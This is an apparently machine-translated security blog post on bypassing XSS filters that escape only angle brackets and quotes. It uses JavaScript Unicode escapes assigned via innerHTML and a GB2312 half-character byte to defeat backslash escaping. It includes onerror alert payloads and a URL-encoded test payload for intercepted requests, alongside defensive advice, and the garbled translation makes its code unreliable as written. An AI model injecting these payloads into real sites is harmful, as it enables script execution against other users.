As we all know, the common method to defend against XSS attacks is to escape the following characters in the background: <,>, ', ", but after my research, I found that in some special scenarios, even if the above characters are escaped, XSS attacks can still be performed.
First, let's look at a JS example:
<Script>
Var s = "\ u003c \ u003e ";
Alert (s );
</Script> run this code and the result is as follows:
Do you feel excited when you see such familiar angle brackets? No angle brackets appear in JS Code, but the angle brackets are output during runtime !!! This means that \ u003c and \ u003e can be used instead of <and>. But how can we use this feature to construct XSS attacks? Let's look at another example:
<Div id ='s '>
Test
</Div>
<Script>
Var s = "\ u003cimg src = 1 onerror = alert (/xss/) \ u003e ";
Document. getElementById ('s '). innerHTML = s;
</Script> run the preceding code and the result is as follows:
Without angle brackets, a case of a bullet box is successfully implemented.
Let's imagine an example that is closer to the actual development:
(1) Assume that a site home page: http://www.bkjia.com/main.html, the code is:
<Div id = "test">
Aa
</Div>
<Script>
Function callback (obj)
{
Document. getElementById ("test"). innerHTML = obj. name;
}
</Script>
<Script src = "http://www.victim.com/getcontent"> </script> (2) http://www.victim.com/getcontentthe format of the returned content is as follows:
Callback ({"name": "xx"}); the value of name is the nickname of the user.
In this example, information is pulled asynchronously and displayed.
Assume that the nickname of the user is:
\ U003cimg src = 1 onerror = alert (/xss/) \ u003e what will happen?
First, the nickname returned by getcontent is as follows:
\ U003cimg src = 1 onerror = alert (/xss/) \ u003e when the background outputs JSON format data, the escape character is usually added before \ for escape.
The callback function connected to main.html is equivalent to executing the following statement:
Document. getElementById ("test"). innerHTML = "\ u003cimg src = 1 onerror = alert (/xss/) \ u003e"; the result is as follows:
Unfortunately, there is no pop-up box. The reason is that the original escape sequence \ u003c does not take effect, and the added escape character is escaped.
However, it is assumed that \ is escaped when the returned nickname is returned, but in actual conditions, sometimes the \ is not escaped when the json format data is output, this will trigger the vulnerability.
It is our turn to escape the \ character. For the half-character question, I am not going to explain it in detail here. Let's draw a conclusion:
For gb2312 encoding, "[0xc0] \" is a valid encoding and is displayed as "bytes ".
For UTF-8 encoding, in IE6, the above combination is also a legal encoding.
[0xc0] indicates a hexadecimal value.
Now, change the nickname:
[0xc0] \ u003cimg src = 1 onerror = alert (/xss/) [0xc0] \ u003e, getcontent output:
Callback ({"name": "[0xc0] \ u003cimg src = 1 onerror = alert (/xss/) [0xc0] \ u003e "}); because the semi-character [0xc0] exists, it is equivalent:
Callback ({"name": "Escape \ u003cimg src = 1 onerror = alert (/xss/) Escape \ u003e"}); it can be seen that the escape sequence \ u003c is finally back, the result is as follows:
The preceding nickname does not contain single double quotation marks and angle brackets. Therefore, if the backend only escapes single double quotation marks and angle brackets, it can be bypassed for defense.
Summary:
(1) Use Case: The output content is in the JS Code and is dynamically displayed (for example, innerHTML ).
(2) Test method: intercept the request packet and modify the parameter:
% C0 \ u003cimg + src % 3d1 + onerror % 3 dalert (/xss/) + % c0 \ u003e (3) defense method: half-character background, backslash, single double quotation marks, angle brackets.
Everything is possible and cross-site is everywhere. Let's tap into the power of our wisdom!